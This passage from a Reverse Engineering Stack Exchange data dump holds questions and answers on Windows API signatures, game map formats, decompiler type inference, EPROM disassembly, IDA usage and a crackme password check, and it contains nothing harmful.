href=&quot;https://reverseengineering.stackexchange.com/questions/21235/function-call-trace-with-radare2-or-break-on-all-function-call/21724#21724&quot;&gt;this answer&lt;/a&gt; shows the way it can be done in &lt;a href=&quot;https://rada.re/n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-12-23T14:03:31.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22816" PostTypeId="1" AcceptedAnswerId="22817" CreationDate="2019-12-23T15:39:53.620" Score="3" ViewCount="345" Body="&lt;p&gt;I was reading &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/threadpoollegacyapiset/nf-threadpoollegacyapiset-createtimerqueuetimer&quot; rel=&quot;nofollow noreferrer&quot;&gt;a man page&lt;/a&gt; about CreateTimerQueueTimer.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BOOL CreateTimerQueueTimer(&#xA;  PHANDLE             phNewTimer,&#xA;  HANDLE              TimerQueue,&#xA;  WAITORTIMERCALLBACK Callback,&#xA;  PVOID               DueTime,&#xA;  DWORD               Period,&#xA;  DWORD               Flags,&#xA;  ULONG               Parameter&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The doc states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Period&lt;/p&gt;&#xA;&lt;p&gt;The period of the timer, in milliseconds. If this parameter is zero, the timer is signaled once.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So I needed to set this to 0 to avoid the callback to be executed periodically.&#xA;The problem was that modifying the &lt;code&gt;period&lt;/code&gt; value has no effect on periodicity. Once loaded in OllyDBG, Olly reconstructed the arguments and the call giving me this function signature :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BOOL CreateTimerQueueTimer(&#xA; PHANDLE             phNewTimer,&#xA; HANDLE              TimerQueue,&#xA; WAITORTIMERCALLBACK Callback,&#xA; ULONG               Parameter,&#xA; PVOID               DueTime,&#xA; DWORD               Period,&#xA; DWORD               Flags&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Notice that the &lt;code&gt;parameter&lt;/code&gt; argument changed position, and thus all my patches was useless. I guess this error might be due to an old version of the API where the &lt;code&gt;Parameter&lt;/code&gt; argument was in 4th position, but I can be wrong. Also, I can't find old WinAPIs to confirm my sayings.&#xA;Am I guessing right or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="23314" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-12-23T19:19:27.627" Title="CreateTimerQueueTimer arguments differs from WinAPI" Tags="|assembly|malware|winapi|calling-conventions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22817" PostTypeId="2" ParentId="22816" CreationDate="2019-12-23T19:19:27.627" Score="2" Body="&lt;p&gt;Yep, I think I've seen a similar case before. It happens very rarely, but because you can do some stunts at the C preprocessor level as well as at the linker level, this happens to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I looked it up in the 3790.1830 DDK (Windows 2003 Server) and several newer WDKs and SDKs.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Windows 2000/XP target (&lt;code&gt;3790.1830/inc/w2k/winbase.h&lt;/code&gt; and &lt;code&gt;3790.1830/inc/wxp/winbase.h&lt;/code&gt;)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINBASEAPI&#xA;BOOL&#xA;WINAPI&#xA;CreateTimerQueueTimer(&#xA;    PHANDLE phNewTimer,&#xA;    HANDLE TimerQueue,&#xA;    WAITORTIMERCALLBACK Callback,&#xA;    PVOID Parameter,&#xA;    DWORD DueTime,&#xA;    DWORD Period,&#xA;    ULONG Flags&#xA;    ) ;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Windows 2003/Vista/7 target (&lt;code&gt;3790.1830/inc/wnet/winbase.h&lt;/code&gt; and &lt;code&gt;6001.18002/inc/api/WINBASE.H&lt;/code&gt; and &lt;code&gt;7600.16385.1/inc/api/WINBASE.H&lt;/code&gt;)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINBASEAPI&#xA;BOOL&#xA;WINAPI&#xA;CreateTimerQueueTimer(                                                                                                                                                                                             &#xA;    __deref_out PHANDLE phNewTimer,&#xA;    __in_opt    HANDLE TimerQueue,&#xA;    __in        WAITORTIMERCALLBACK Callback,&#xA;    __in_opt    PVOID Parameter,&#xA;    __in        DWORD DueTime,&#xA;    __in        DWORD Period,&#xA;    __in        ULONG Flags &#xA;    ) ;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;With the Windows 8.1 SDK ...&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;... this API moved into another header: &lt;code&gt;Include/um/threadpoollegacyapiset.h&lt;/code&gt; (check out &lt;a href=&quot;http://www.geoffchappell.com/studies/windows/win32/apisetschema/index.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this study on API sets&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINBASEAPI&#xA;BOOL&#xA;WINAPI&#xA;CreateTimerQueueTimer(&#xA;    _Outptr_ PHANDLE phNewTimer,&#xA;    _In_opt_ HANDLE TimerQueue,&#xA;    _In_ WAITORTIMERCALLBACK Callback,&#xA;    _In_opt_ PVOID Parameter,&#xA;    _In_ DWORD DueTime,&#xA;    _In_ DWORD Period,&#xA;    _In_ ULONG Flags&#xA;    );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... so no change up until this point (other than adopting SAL2 annotations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Windows 10 SDKs 10.0.10240.0, 10.0.16299.0, 10.0.17134.0, 10.0.17134.0, 10.0.17763.0, 10.0.18362.0 it still has the same order for the arguments as for Windows 8.1. &lt;strong&gt;So it stands to reason you ran into a documentation issue rather than an actual change here.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;https://github.com/MicrosoftDocs/sdk-api/pulls?utf8=%E2%9C%93&amp;amp;q=is%3Apr+CreateTimerQueueTimer&quot; rel=&quot;nofollow noreferrer&quot;&gt;no pending or old (and closed) pull request mentioning this function&lt;/a&gt;, so you may want to consider sending one.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-12-23T19:19:27.627" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22818" PostTypeId="1" AcceptedAnswerId="22820" CreationDate="2019-12-23T20:13:36.333" Score="2" ViewCount="267" Body="&lt;p&gt;I've been messing around in visual studio for half an hour trying to figure out how to properly display maps from a file, but all I can output is hot garbage, all I know is that the maps are 64x64, can someone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1E1hCQaqfR5at0pkKgbKuyt7RhMua9IYC/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;map file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30557" LastActivityDate="2019-12-24T00:02:38.590" Title="can someone help me with this map format?" Tags="|c++|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22819" PostTypeId="2" ParentId="22813" CreationDate="2019-12-23T21:34:44.023" Score="1" Body="&lt;p&gt;It may be beneficial to study what the flags in the header actually mean. This will tell you useful information such as, where &quot;things&quot; are located and the size of said &quot;things&quot;. Plus you would gain a better understanding of the ELF file format!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you could probably automate the process with a python script, looking for key flags and using them to piece it together. &lt;/p&gt;&#xA;" OwnerUserId="30432" LastActivityDate="2019-12-23T21:34:44.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22820" PostTypeId="2" ParentId="22818" CreationDate="2019-12-24T00:02:38.590" Score="11" Body="&lt;p&gt;You must have been looking at the wrong representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening the file with a plain graphics viewer shows that it indeed contains &quot;maps&quot;, in a 2-byte-per-block format and with a fixed width of 128 bytes/64 blocks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1UOhe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1UOhe.png&quot; alt=&quot;image courtesy of a most basic bitmap viewer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 514 bytes seem to contain some other kind of data but after that every two bytes form one single map block. You'll have to compare these word values against a running game to find out what they represent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding the bitmap text &quot;D.P. Gray 1994&quot; in the map leads me to believe you are looking at &lt;a href=&quot;https://en.wikipedia.org/wiki/Nitemare_3D&quot; rel=&quot;noreferrer&quot;&gt;Nitemare 3D&lt;/a&gt;, and with that information you can find &lt;em&gt;several&lt;/em&gt; map editors, such as the one at &lt;a href=&quot;http://wolf3d.darkbb.com/t1981-nitemare-3d-mapeditor&quot; rel=&quot;noreferrer&quot;&gt;http://wolf3d.darkbb.com/t1981-nitemare-3d-mapeditor&lt;/a&gt;, which conveniently also tells you the same details I describe above (do note that that post is from 2011).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;It took me less than 5 minutes to recognize &quot;the format&quot;, and another 5 or so to google &quot;D.P. Gray 1994&quot;.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="30560" LastActivityDate="2019-12-24T00:02:38.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22821" PostTypeId="1" CreationDate="2019-12-24T20:41:05.230" Score="3" ViewCount="53" Body="&lt;p&gt;Using IDA 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been debugging a program with remote GDB just fine. Today when I opened the database, most of the debuggers are missing from the list, including GDB. It's only when opening this database, though. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xrGY2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xrGY2.png&quot; alt=&quot;list of debuggers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30561" LastActivityDate="2019-12-24T20:41:05.230" Title="IDA's debuggers disappeared" Tags="|ida|debuggers|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22825" PostTypeId="1" CreationDate="2019-12-25T19:30:14.490" Score="2" ViewCount="137" Body="&lt;p&gt;In IDA pro 7, when you generate the list of stirngs in the strings window, it gives you an &quot;address&quot; which starts with something like &quot;debug12x&quot;... is there any way to tell which module that is in? Or what binary file's were involved in creating that? The debug12xxxxx address isn't something I understand, but I'm trying to find which module or binary file had the code that created that string... but when I double click the string it takes me to the &quot;IDA-View RIP&quot; which says the exact same debug12xxxxx and doesn't seem to say anywhere more about where the string came from or which module made it...? This is happening when attaching a debugger to a running process in windows 10.&lt;/p&gt;&#xA;" OwnerUserId="30569" LastActivityDate="2019-12-25T19:30:14.490" Title="IDA pro 7... how do you tell which module each string is in?" Tags="|ida|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22826" PostTypeId="1" CreationDate="2019-12-25T19:39:27.220" Score="3" ViewCount="1199" Body="&lt;p&gt;I'm trying to extract some binary blobs from a unknown archive format. (*.pakz).&#xA;I know this archive contains some &lt;code&gt;.xtreme&lt;/code&gt; binary files that are the files I'm looking for. My goal is to extract those files from the archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing some research I've came across &lt;code&gt;binwalk&lt;/code&gt;. So I've tried to extract some signature info from it. It returned me several blobs of LZMA compressed data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;f.ex, this is the first entries in the output of &lt;code&gt;binwalk&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;12            0xC             LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 1130064 bytes&#xA;1079006       0x1076DE        LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 669520 bytes&#xA;1718248       0x1A37E8        LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 807872 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume these are parts of a single compressed file I should combine? So I tried extracting each individual files/blob with &lt;code&gt;carve&lt;/code&gt; option. This outputs me several .7z files however many are missing. I don't know why, by using verbose and log command line options, it doens't output any errors but outputs LZMA blob addresses that are not extracted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I extract files I get several .xml files that give me useful information, f.ex, the path of the files I'm looking for but I still don't know from the path the start/end bytes of that file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone has any clue?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="30568" LastActivityDate="2019-12-25T19:39:27.220" Title="Extracting specific files from a unknown archive file format" Tags="|unpacking|binwalk|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22827" PostTypeId="1" AcceptedAnswerId="22834" CreationDate="2019-12-26T02:29:09.133" Score="1" ViewCount="179" Body="&lt;p&gt;I'm testing several decompilers against the following &lt;code&gt;C&lt;/code&gt; code&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;static int bar(int i) {&#xA;    return ++i;&#xA;}&#xA;&#xA;static int apply(int (*fun)(int), int i) {&#xA;    return i % fun(i);&#xA;}&#xA;&#xA;static int foo(int (*app)(int (*fun)(int), int), int i)  {&#xA;    return i / app(bar, i);&#xA;}&#xA;&#xA;int main() {&#xA;    return foo(apply, 7);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is compiled by just &lt;code&gt;clang test.c&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; main&#xA;0x0         push rbp&#xA;0x1         mov rbp, rsp&#xA;0x4         sub rsp, 0x10&#xA;0x8         mov dword ptr [rbp-0x4], 0x0&#xA;0xf         mov rdi, @apply&#xA;0x19        mov esi, 0x7&#xA;0x1e        call foo&#xA;0x23        add rsp, 0x10&#xA;0x27        pop rbp&#xA;0x28        ret&#xA;&#xA;; foo&#xA;0x30        push rbp&#xA;0x31        mov rbp, rsp&#xA;0x34        sub rsp, 0x20&#xA;0x38        mov [rbp-0x8], rdi&#xA;0x3c        mov [rbp-0xc], esi&#xA;0x3f        mov eax, [rbp-0xc]&#xA;0x42        mov rcx, [rbp-0x8]&#xA;0x46        mov esi, [rbp-0xc]&#xA;0x49        mov rdi, @bar&#xA;0x53        mov [rbp-0x10], eax&#xA;0x56        call rcx&#xA;0x58        mov edx, [rbp-0x10]&#xA;0x5b        mov [rbp-0x14], eax&#xA;0x5e        mov eax, edx&#xA;0x60        cdq&#xA;0x61        mov esi, [rbp-0x14]&#xA;0x64        idiv esi&#xA;0x66        add rsp, 0x20&#xA;0x6a        pop rbp&#xA;0x6b        ret&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was aware of some limits in argument/parameter detection (from the response to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/22634/struct-reconstruction-in-decompilers&quot;&gt;another question&lt;/a&gt;). But each decompiler seems, in one way or another, have inconsistency in the type system of its decompiled language (I think they all try to decompile to &lt;code&gt;C&lt;/code&gt; or pseudo-&lt;code&gt;C&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IDA v.7.4.191122&lt;/code&gt; (evaluation version) gives:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  return foo(apply, 7LL, envp);&#xA;}&#xA;&#xA;__int64 __fastcall foo(int (__fastcall *a1)(__int64 (__fastcall *)(), _QWORD), unsigned int a2)&#xA;{&#xA;  return (unsigned int)((int)a2 / a1(bar, a2));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't show results of &lt;code&gt;bar&lt;/code&gt; and &lt;code&gt;apply&lt;/code&gt; because there was already an inconsistency here: IDA detects that &lt;code&gt;foo&lt;/code&gt; is called with 3 arguments in &lt;code&gt;main&lt;/code&gt;, but then it concludes that &lt;code&gt;foo&lt;/code&gt; has actually 2 parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, &lt;code&gt;Ghidra v9.1.build.2019-oct-23&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(void)&#xA;{&#xA;  foo(apply,7);&#xA;  return;&#xA;}&#xA;&#xA;ulong foo(code *param_1,uint param_2,undefined8 param_3)&#xA;{&#xA;  int iVar1;&#xA;&#xA;  iVar1 = (*param_1)(bar,(ulong)param_2,param_3,param_1);&#xA;  return (long)(int)param_2 / (long)iVar1 &amp;amp; 0xffffffff;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which has an opposite opinion: &lt;code&gt;foo&lt;/code&gt; is called in &lt;code&gt;main&lt;/code&gt; with 2 arguments, but in its definition &lt;code&gt;foo&lt;/code&gt; has 3 parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JEB v.3.8.0.201912242244&lt;/code&gt; (evaluation version):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long main() {&#xA;  return foo(&amp;amp;apply, 7L);&#xA;}&#xA;&#xA;unsigned long foo(unsigned long param0) {&#xA;  unsigned int v0 = v1;&#xA;  param0();&#xA;  return (unsigned long)(v0 / ((unsigned int)v2));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives a perfect result for &lt;code&gt;main&lt;/code&gt;, but it then claims that &lt;code&gt;foo&lt;/code&gt; is a function of just 1 parameters (and while it shows &lt;code&gt;param0()&lt;/code&gt;, it keeps &lt;code&gt;param0&lt;/code&gt; as &lt;code&gt;unsigned long&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, the decompilation results are not correct (which is somehow understandable), but they are even inconsistent. Do I miss some configuration?&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2019-12-26T10:50:11.533" LastActivityDate="2019-12-26T11:34:39.530" Title="Type inference inconsistency" Tags="|ida|decompilation|ghidra|jeb|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22828" PostTypeId="1" CreationDate="2019-12-26T03:19:42.863" Score="1" ViewCount="185" Body="&lt;p&gt;I have used IDA to disassemble a big EPROM (27020) but there remain a large number of code sections which haven't been disassembled.  Here is a typical one where I have identified the beginning and end (it was probably written in C):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            db  55h      push bp&#xA;            db  8Bh      mov bp, sp&#xA;            db 0ECh&#xA;            db 0A0h&#xA;            db  96h&#xA;            db  11h&#xA;            db 0FEh&#xA;            db 0C0h&#xA;            db 0A2h&#xA;            db  96h&#xA;            db  11h&#xA;            db  3Ch&#xA;            db    3&#xA;            db  75h&#xA;            db    5&#xA;            db 0C6h&#xA;            db    6&#xA;            db  96h&#xA;            db  11h&#xA;            db    0&#xA;            db  8Ah&#xA;            db  1Eh&#xA;            db  96h&#xA;            db  11h&#xA;            db 0B7h&#xA;            db    0&#xA;            db  8Ah&#xA;            db  87h&#xA;            db  2Fh&#xA;            db  13h&#xA;            db  5Dh     pop bp&#xA;            db 0C3h     retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, is there any easy disassembler I could feed this (or a pure hex version) into which will disassemble for me?  Yes I can do it manually but there are hundreds like this so it would be really impractical and besides, this is only the first step in figuring out this code.  I tried to search but after a few days figured it was time to ask those more knowledgeable than myself.&lt;/p&gt;&#xA;" OwnerUserId="30496" LastActivityDate="2019-12-27T08:53:28.700" Title="Any &quot;simple&quot; way to disassemble a block of hex for a 80C188?" Tags="|disassembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22829" PostTypeId="2" ParentId="10906" CreationDate="2019-12-26T03:36:27.490" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;check if jump destination is a continuous area behind the function, if true, alt+p, adjust function range.&lt;/li&gt;&#xA;&lt;li&gt;if not, first undefine target area, then use IDA-built-in function &quot;append_func_tail&quot; to add that chunk to owner function. &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1077.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; is the IDA-reference doc link&lt;/li&gt;&#xA;&lt;li&gt;one jump out done. if there is too many, then write a script to automate it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30575" LastActivityDate="2019-12-26T03:36:27.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22831" PostTypeId="2" ParentId="22803" CreationDate="2019-12-26T08:20:07.950" Score="1" Body="&lt;p&gt;Fileless malware is a bit of a misnomer.  Fileless malware is still stored on disk just not directly on the filesystem. For example on windows systems most of the time fileless malware is stored in the registry which is not apart of the filesystem proper. You can get those types of samples from the same sources you cited.&lt;/p&gt;&#xA;" OwnerUserId="20200" LastActivityDate="2019-12-26T08:20:07.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22832" PostTypeId="2" ParentId="22828" CreationDate="2019-12-26T08:57:25.890" Score="1" Body="&lt;p&gt;You can open &lt;code&gt;IDA&lt;/code&gt;, go to the beginning of the file, press &lt;code&gt;shift&lt;/code&gt;, hold it, scroll to the end of the file - which will result that the whole code is selected, and press 'c' for analysis. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-12-26T08:57:25.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22833" PostTypeId="1" AcceptedAnswerId="22843" CreationDate="2019-12-26T10:25:03.123" Score="1" ViewCount="1277" Body="&lt;p&gt;I want to write a C function, such that &lt;code&gt;hex-rays&lt;/code&gt; decompiler will fail on it. I want to do it for study purposes, and not for an actual anti-reversing method. Do you have any recommendations/approaches how can I write such a function, that will compile with &lt;code&gt;gcc&lt;/code&gt; or similar compiler, but won't be decompilable by &lt;code&gt;hex-rays&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &#xA;My goal is to make the code disassemblable, but not decompilable. I'm not looking for obfuscators that will hide the code completely, but a way to make IDA not to be able to decompile. for example, by somehow messing with the stack pointer. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2019-12-26T15:04:18.313" LastActivityDate="2019-12-28T10:05:14.090" Title="Methods for preventing IDA decompiler" Tags="|ida|c|hexrays|decompile|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22834" PostTypeId="2" ParentId="22827" CreationDate="2019-12-26T11:34:39.530" Score="1" Body="&lt;p&gt;&lt;code&gt;IDA&lt;/code&gt; results look pretty good. I believe that the signature of &lt;code&gt;main&lt;/code&gt; comes from any kind of &lt;code&gt;FLIRT&lt;/code&gt; or other function recognitions - It detects that the function is &lt;code&gt;main&lt;/code&gt;, and therefore gives it the default main signature. it looks like &lt;code&gt;foo&lt;/code&gt; disassembled well. You can configure yourself the signature by pressing &lt;code&gt;y&lt;/code&gt; on the function call. You must understand that the whole process is very heuristic, and this info does not appear anywhere in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw it several times in &lt;code&gt;IDA&lt;/code&gt;, that it creates a good signature for a function but sometimes calls it with extra/missing parameters. I believe it's a bug, rather than something configurable.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-12-26T11:34:39.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22835" PostTypeId="1" AcceptedAnswerId="22858" CreationDate="2019-12-26T12:59:22.710" Score="2" ViewCount="389" Body="&lt;p&gt;I'm trying to understand the behaviour of the code below so I can determine what input will trigger the &quot;YOU DID IT !~!&quot; string (at the end of the program instructions):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C21034 Buf= byte ptr -6Ch&#xA;.text:00C21034 var_68= byte ptr -68h&#xA;.text:00C21034 var_4= dword ptr -4&#xA;.text:00C21034&#xA;.text:00C21034 push    ebp&#xA;.text:00C21035 mov     ebp, esp&#xA;.text:00C21037 sub     esp, 6Ch&#xA;.text:00C2103A mov     eax, ___security_cookie&#xA;.text:00C2103F xor     eax, ebp&#xA;.text:00C21041 mov     [ebp+var_4], eax&#xA;.text:00C21044 push    ebx&#xA;.text:00C21045 push    offset aPleaseEnterThe          ; &quot;Please enter the password: &quot;&#xA;.text:00C2104A call    sub_C21006&#xA;.text:00C2104F xor     ebx, ebx&#xA;.text:00C21051 push    ebx&#xA;.text:00C21052 call    ds:__acrt_iob_func&#xA;.text:00C21058 push    eax                             ; File&#xA;.text:00C21059 lea     eax, [ebp+Buf]&#xA;.text:00C2105C push    64h                             ; MaxCount&#xA;.text:00C2105E push    eax                             ; Buf&#xA;.text:00C2105F call    ds:fgets&#xA;.text:00C21065 lea     ecx, [ebp+Buf]&#xA;.text:00C21068 add     esp, 14h&#xA;.text:00C2106B lea     edx, [ecx+1]&#xA;.text:00C2106E&#xA;.text:00C2106E loc_C2106E:                             ; CODE XREF: sub_C21034+3F↓j&#xA;.text:00C2106E mov     al, [ecx]&#xA;.text:00C21070 inc     ecx&#xA;.text:00C21071 test    al, al&#xA;.text:00C21073 jnz     short loc_C2106E&#xA;.text:00C21075 sub     ecx, edx&#xA;.text:00C21077 cmp     ecx, 5&#xA;.text:00C2107A jnz     short loc_C210C3&#xA;.text:00C2107C mov     [ebp+var_68], bl&#xA;.text:00C2107F&#xA;.text:00C2107F loc_C2107F:                             ; CODE XREF: sub_C21034+5E↓j&#xA;.text:00C2107F mov     eax, ebx&#xA;.text:00C21081 and     eax, 3&#xA;.text:00C21084 mov     al, [ebp+eax+Buf]&#xA;.text:00C21088 xor     byte_C23018[ebx], al&#xA;.text:00C2108E inc     ebx&#xA;.text:00C2108F cmp     ebx, 0Ah&#xA;.text:00C21092 jb      short loc_C2107F&#xA;.text:00C21094 mov     ecx, offset byte_C23018&#xA;.text:00C21099 mov     edx, offset loc_C23024&#xA;.text:00C2109E mov     eax, [ecx]&#xA;.text:00C210A0 cmp     eax, [edx]&#xA;.text:00C210A2 jnz     short loc_C210C3&#xA;.text:00C210A4 mov     eax, [ecx+4]&#xA;.text:00C210A7 cmp     eax, [edx+4]&#xA;.text:00C210AA jnz     short loc_C210C3&#xA;.text:00C210AC movzx   eax, byte ptr [ecx+8]&#xA;.text:00C210B0 cmp     al, [edx+8]&#xA;.text:00C210B3 jnz     short loc_C210C3&#xA;.text:00C210B5 push    offset aYouDidIt                ; &quot;YOU DID IT !~!\r\n&quot;&#xA;.text:00C210BA call    sub_C21006&#xA;.text:00C210BF xor     eax, eax&#xA;.text:00C210C1 jmp     short loc_C210D0&#xA;.text:00C210C3 ; ---------------------------------------------------------------------------&#xA;.text:00C210C3&#xA;.text:00C210C3 loc_C210C3:                             ; CODE XREF: sub_C21034+46↑j&#xA;.text:00C210C3                                         ; sub_C21034+6E↑j ...&#xA;.text:00C210C3 push    offset aOhhhhNooTryAga          ; &quot;Ohhhh noo... try again.\r\n&quot;&#xA;.text:00C210C8 call    sub_C21006&#xA;.text:00C210CD xor     eax, eax&#xA;.text:00C210CF inc     eax&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;br&gt;&#xA;The goal here is to find the correct input. I know that I can just put the IP where I want and make the program print it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;strong&gt;What I understood so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program asks for input in this instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C2105F call    ds:fgets&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, it runs a loop that counts how many chars are in the input, including the &quot;new line&quot; char at the end (when the user gives input and presses &quot;enter&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C2106E loc_C2106E:                             ; CODE XREF: sub_C21034+3F↓j&#xA;.text:00C2106E mov     al, [ecx]&#xA;.text:00C21070 inc     ecx&#xA;.text:00C21071 test    al, al&#xA;.text:00C21073 jnz     short loc_C2106E&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, it subtracts the address of the last input char and the address of the first input char to determine the input's length:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C21075 sub     ecx, edx&#xA;.text:00C21077 cmp     ecx, 5&#xA;.text:00C2107A jnz     short loc_C210C3&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the input length is 